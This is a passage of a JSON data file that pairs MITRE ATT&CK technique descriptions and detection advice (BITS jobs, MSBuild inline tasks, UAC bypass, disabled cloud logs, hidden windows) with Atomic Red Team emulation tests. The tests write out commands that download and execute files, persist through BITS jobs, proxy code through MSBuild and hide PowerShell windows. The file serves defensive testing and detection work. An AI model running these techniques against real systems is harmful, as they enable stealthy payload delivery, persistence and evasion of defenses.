"defense-evasion" - } - ], - "x_mitre_detection": "Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\n\nIf the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Script: Script Execution", - "File: File Metadata" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_system_requirements": [ - "MS Office version specified in _VBA_PROJECT stream must match host" - ] - }, - "atomic_tests": [] - }, - "T1197": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Brent Murphy, Elastic", - "David French, Elastic", - "Ricardo Dias", - "Red Canary" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", - "type": "attack-pattern", - "created": "2018-04-18T17:59:24.739Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1197", - "url": "https://attack.mitre.org/techniques/T1197" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", - "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", - "source_name": "Microsoft COM" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx", - "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.", - "source_name": "Microsoft BITS" - }, - { - "url": "https://msdn.microsoft.com/library/aa362813.aspx", - "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.", - "source_name": "Microsoft BITSAdmin" - }, - { - "url": "https://www.secureworks.com/blog/malware-lingers-with-bits", - "description": "Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.", - "source_name": "CTU BITS Malware June 2016" - }, - { - "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/", - "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.", - "source_name": "Mondok Windows PiggyBack BITS May 2007" - }, - { - "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update", - "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.", - "source_name": "Symantec BITS May 2007" - }, - { - "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/", - "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", - "source_name": "PaloAlto UBoatRAT Nov 2017" - }, - { - "url": "https://technet.microsoft.com/library/dd939934.aspx", - "description": "Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.", - "source_name": "Microsoft Issues with BITS July 2011" - }, - { - "source_name": "Elastic - Hunting for Persistence Part 1", - "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1", - "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020." - } - ], - "modified": "2021-04-13T21:36:04.956Z", - "name": "BITS Jobs", - "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Network Traffic: Network Connection Creation", - "Command: Command Execution", - "Service: Service Metadata" - ], - "x_mitre_defense_bypassed": [ - "Firewall", - "Host forensic analysis" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM" - ], - "identifier": "T1197" - }, - "atomic_tests": [ - { - "name": "Bitsadmin Download (cmd)", - "auto_generated_guid": "3c73d728-75fb-4180-a12f-6712864d7421", - "description": "This test simulates an adversary leveraging bitsadmin.exe to download\nand execute a payload\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "remote_file": { - "description": "Remote file to download", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md" - }, - "local_file": { - "description": "Local file path to save downloaded file", - "type": "path", - "default": "%temp%\\bitsadmin1_flag.ps1" - } - }, - "executor": { - "command": "bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file}\n", - "cleanup_command": "del #{local_file} >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Bitsadmin Download (PowerShell)", - "auto_generated_guid": "f63b8bc4-07e5-4112-acba-56f646f3f0bc", - "description": "This test simulates an adversary leveraging bitsadmin.exe to download\nand execute a payload leveraging PowerShell\n\nUpon execution you will find a github markdown file downloaded to the Temp directory\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "remote_file": { - "description": "Remote file to download", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md" - }, - "local_file": { - "description": "Local file path to save downloaded file", - "type": "path", - "default": "$env:TEMP\\bitsadmin2_flag.ps1" - } - }, - "executor": { - "command": "Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file}\n", - "cleanup_command": "Remove-Item #{local_file} -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Persist, Download, & Execute", - "auto_generated_guid": "62a06ec5-5754-47d2-bcfc-123d8314c6ae", - "description": "This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps.\nNote that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable.\nThis has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of \"svchost.exe\" and an Initiating Process Command Line of \"svchost.exe -k netsvcs -p -s BITS\"\nThis job will remain in the BITS queue until complete or for up to 90 days by default if not removed.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command_path": { - "description": "Path of command to execute", - "type": "path", - "default": "C:\\Windows\\system32\\notepad.exe" - }, - "bits_job_name": { - "description": "Name of BITS job", - "type": "string", - "default": "AtomicBITS" - }, - "local_file": { - "description": "Local file path to save downloaded file", - "type": "path", - "default": "%temp%\\bitsadmin3_flag.ps1" - }, - "remote_file": { - "description": "Remote file to download", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md" - } - }, - "executor": { - "command": "bitsadmin.exe /create #{bits_job_name}\nbitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}\nbitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL\nbitsadmin.exe /resume #{bits_job_name}\nping -n 5 127.0.0.1 >nul 2>&1\nbitsadmin.exe /complete #{bits_job_name}\n", - "cleanup_command": "del #{local_file} >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Bits download using desktopimgdownldr.exe (cmd)", - "auto_generated_guid": "afb5e09e-e385-4dee-9a94-6ee60979d114", - "description": "This test simulates using desktopimgdownldr.exe to download a malicious file\ninstead of a desktop or lockscreen background img. The process that actually makes \nthe TCP connection and creates the file on the disk is a svchost process (\u201c-k netsvc -p -s BITS\u201d) \nand not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "remote_file": { - "description": "Remote file to download", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md" - }, - "download_path": { - "description": "Local file path to save downloaded file", - "type": "path", - "default": "SYSTEMROOT=C:\\Windows\\Temp" - }, - "cleanup_path": { - "description": "path to delete file as part of cleanup_command", - "type": "path", - "default": "C:\\Windows\\Temp\\Personalization\\LockScreenImage" - }, - "cleanup_file": { - "description": "file to remove as part of cleanup_command", - "type": "string", - "default": "*.md" - } - }, - "executor": { - "command": "set \"#{download_path}\" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr\n", - "cleanup_command": "del #{cleanup_path}\\#{cleanup_file} >nul 2>&1\n", - "name": "command_prompt" - } - } - ] - }, - "T1127.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "@ionstorm", - "Carrie Roberts, @OrOneEqualsOne" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96", - "type": "attack-pattern", - "created": "2020-03-27T21:50:26.042Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1127.001", - "url": "https://attack.mitre.org/techniques/T1127/001" - }, - { - "url": "https://msdn.microsoft.com/library/dd393574.aspx", - "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.", - "source_name": "MSDN MSBuild" - }, - { - "source_name": "Microsoft MSBuild Inline Tasks 2017", - "url": "https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element", - "description": "Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021." - }, - { - "source_name": "LOLBAS Msbuild", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Msbuild/", - "description": "LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019." - } - ], - "modified": "2021-10-15T23:57:07.973Z", - "name": "Trusted Developer Utilities Proxy Execution: MSBuild", - "description": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)", - "kill_chain_phases": [ - { - "phase_name": "defense-evasion", - "kill_chain_name": "mitre-attack" - } - ], - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation" - ], - "x_mitre_system_requirements": [ - " .NET Framework version 4 or higher" - ], - "identifier": "T1127.001" - }, - "atomic_tests": [ - { - "name": "MSBuild Bypass Using Inline Tasks (C#)", - "auto_generated_guid": "58742c0f-cb01-44cd-a60b-fb26e8871c93", - "description": "Executes the code in a project file using msbuild.exe. The default C# project example file (T1127.001.csproj) will simply print \"Hello From a Code Fragment\" and \"Hello From a Class.\" to the screen.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "filename": { - "description": "Location of the project file", - "type": "path", - "default": "PathToAtomicsFolder\\T1127.001\\src\\T1127.001.csproj" - }, - "msbuildpath": { - "description": "Default location of MSBuild", - "type": "path", - "default": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319" - }, - "msbuildname": { - "description": "Default name of MSBuild", - "type": "path", - "default": "msbuild.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Project file must exist on disk at specified location (#{filename})\n", - "prereq_command": "if (Test-Path #{filename}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/T1127.001.csproj\" -OutFile \"#{filename}\"\n" - } - ], - "executor": { - "command": "#{msbuildpath}\\#{msbuildname} #{filename}\n", - "name": "command_prompt" - } - }, - { - "name": "MSBuild Bypass Using Inline Tasks (VB)", - "auto_generated_guid": "ab042179-c0c5-402f-9bc8-42741f5ce359", - "description": "Executes the code in a project file using msbuild.exe. The default Visual Basic example file (vb.xml) will simply print \"Hello from a Visual Basic inline task!\" to the screen.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "filename": { - "description": "Location of the project file", - "type": "path", - "default": "PathToAtomicsFolder\\T1127.001\\src\\vb.xml" - }, - "msbuildpath": { - "description": "Default location of MSBuild", - "type": "path", - "default": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319" - }, - "msbuildname": { - "description": "Default name of MSBuild", - "type": "path", - "default": "msbuild.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Project file must exist on disk at specified location (#{filename})\n", - "prereq_command": "if (Test-Path #{filename}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/vb.xml\" -OutFile \"#{filename}\"\n" - } - ], - "executor": { - "command": "#{msbuildpath}\\#{msbuildname} #{filename}\n", - "name": "command_prompt" - } - } - ] - }, - "T1088": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak", - "Casey Smith" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", - "type": "attack-pattern", - "created": "2017-05-31T21:31:07.462Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1088", - "url": "https://attack.mitre.org/techniques/T1088" - }, - { - "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works", - "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.", - "source_name": "TechNet How UAC Works" - }, - { - "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx", - "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.", - "source_name": "TechNet Inside UAC" - }, - { - "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx", - "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.", - "source_name": "MSDN COM Elevation" - }, - { - "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html", - "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.", - "source_name": "Davidson Windows" - }, - { - "url": "https://github.com/hfiref0x/UACME", - "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", - "source_name": "Github UACMe" - }, - { - "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", - "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.", - "source_name": "enigma0x3 Fileless UAC Bypass" - }, - { - "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware", - "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.", - "source_name": "Fortinet Fareit" - }, - { - "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", - "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.", - "source_name": "SANS UAC Bypass" - }, - { - "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/", - "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.", - "source_name": "enigma0x3 sdclt app paths" - }, - { - "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", - "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.", - "source_name": "enigma0x3 sdclt bypass" - } - ], - "modified": "2020-02-05T20:08:32.863Z", - "name": "Bypass User Account Control", - "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Windows User Account Control" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_effective_permissions": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1562.008": { - "technique": { - "x_mitre_platforms": [ - "IaaS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Syed Ummar Farooqh, McAfee", - "Prasad Somasamudram, McAfee", - "Sekhar Sarukkai, McAfee ", - "Ibrahim Ali Khan", - "Alex Soler, AttackIQ", - "Janantha Marasinghe", - "Matt Snyder, VMware" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d", - "type": "attack-pattern", - "created": "2020-10-12T13:52:32.846Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1562.008", - "url": "https://attack.mitre.org/techniques/T1562/008" - }, - { - "source_name": "Following the CloudTrail: Generating strong AWS security signals with Sumo Logic", - "url": "https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/", - "description": "Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020." - }, - { - "source_name": "Stopping CloudTrail from Sending Events to CloudWatch Logs", - "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html", - "description": "Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020." - }, - { - "source_name": "Configuring Data Access audit logs", - "url": "https://cloud.google.com/logging/docs/audit/configure-data-access", - "description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020." - }, - { - "source_name": "az monitor diagnostic-settings", - "url": "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete", - "description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020." - } - ], - "modified": "2022-03-08T21:55:27.505Z", - "name": "Impair Defenses: Disable Cloud Logs", - "description": "An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. \n\nCloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Cloud Service: Cloud Service Disable", - "Cloud Service: Cloud Service Modification" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1562.008" - }, - "atomic_tests": [] - }, - "T1564.003": { - "technique": { - "x_mitre_platforms": [ - "macOS", - "Windows", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Travis Smith, Tripwire" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", - "type": "attack-pattern", - "created": "2020-03-13T20:26:49.433Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1564.003", - "url": "https://attack.mitre.org/techniques/T1564/003" - }, - { - "source_name": "PowerShell About 2019", - "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1", - "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019." - }, - { - "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", - "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", - "source_name": "Antiquated Mac Malware" - } - ], - "modified": "2022-03-15T21:09:43.489Z", - "name": "Hide Artifacts: Hidden Window", - "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nOn Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\nSimilarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Script: Script Execution", - "Command: Command Execution", - "File: File Modification", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1564.003" - }, - "atomic_tests": [ - { - "name": "Hidden Window", - "auto_generated_guid": "f151ee37-9e2b-47e6-80e4-550b9f999b7a", - "description": "Launch PowerShell with the \"-WindowStyle Hidden\" argument to conceal PowerShell windows by setting the WindowStyle parameter to hidden.\nUpon execution a hidden PowerShell window will launch calc.exe\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "powershell_command": { - "description": "Command to launch calc.exe from a hidden PowerShell Window", - "type": "string", - "default": "powershell.exe -WindowStyle hidden calc.exe" - } - }, - "executor": { - "command": "Start-Process #{powershell_command}\n", - "name": "powershell" - } - } - ] - }, - "T1147": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": 